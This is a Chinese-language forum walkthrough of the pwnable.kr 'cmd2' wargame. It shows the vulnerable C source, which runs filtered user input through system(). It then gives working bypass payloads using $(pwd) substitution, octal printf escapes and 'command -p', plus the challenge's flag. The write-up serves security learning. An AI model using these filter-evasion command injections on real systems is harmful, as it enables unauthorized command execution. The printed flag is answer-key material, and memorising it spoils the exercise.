-
-
[分享]pwnable.kr cmd2 day13
-
2021-1-15 20:16 8869
-
cmd2
题目
解题过程
1. 查看文件列表
可通过运行 cmd2 文件临时获得与 cmd2_pwn 相同的权限。
2. 阅读 cmd2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | #include <stdio.h> #include <string.h> int filter (char * cmd){ int r = 0 ; r + = strstr(cmd, "=" )! = 0 ; r + = strstr(cmd, "PATH" )! = 0 ; r + = strstr(cmd, "export" )! = 0 ; r + = strstr(cmd, "/" )! = 0 ; r + = strstr(cmd, "`" )! = 0 ; r + = strstr(cmd, "flag" )! = 0 ; return r; } extern char * * environ; void delete_env(){ char * * p; for (p = environ; * p; p + + ) memset( * p, 0 , strlen( * p)); } int main( int argc, char * argv[], char * * envp){ delete_env(); / / 清除所有环境变量 putenv( "PATH=/no_command_execution_until_you_become_a_hacker" ); if ( filter (argv[ 1 ])) return 0 ; / / 输入的命令不能包含 = PATH export / ` flag 这六个字符 printf( "%s\n" , argv[ 1 ]); system( argv[ 1 ] ); return 0 ; } |
与 cmd1 相比,难度在于过滤了 /
我们可以通过 pwd 或者用 / 的 ascii 码来绕过 对 / 的过滤,也可利用 command -p 来避免使用 /
用通配符绕过对 flag 的过滤
3. pwn
红框内为 flagFuN_w1th_5h3ll_v4riabl3s_haha
pwd绕过
首先进入根目录,此时 pwd 为 /
然后执行/home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*'
因为 cat 与 /home 之间有空格隔开,所以需要添加引号
ascii 码绕过
使用 ascii 码来代替字符的时候只能使用八进制
/ 的 ascii 码十六进制为 2f 八进制为 57./cmd2 '$(printf \\57bin\\57cat) fl*'
command -p 绕过
如果直接执行 cat flag 会提示找不到 cat 指令,这是需要利用 command -p 来寻找 cat 指令。
command -p 使用 PATH 环境变量的缺省值执行命令搜索;查找所有命令
PATH缺省值:export PATH=/usr/local/sbin/:/usr/local/bin:/sbin:/bin:/usr/bin:/root/bin
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
赞赏
他的文章
[分享] pwnable.kr asm
9716
看原图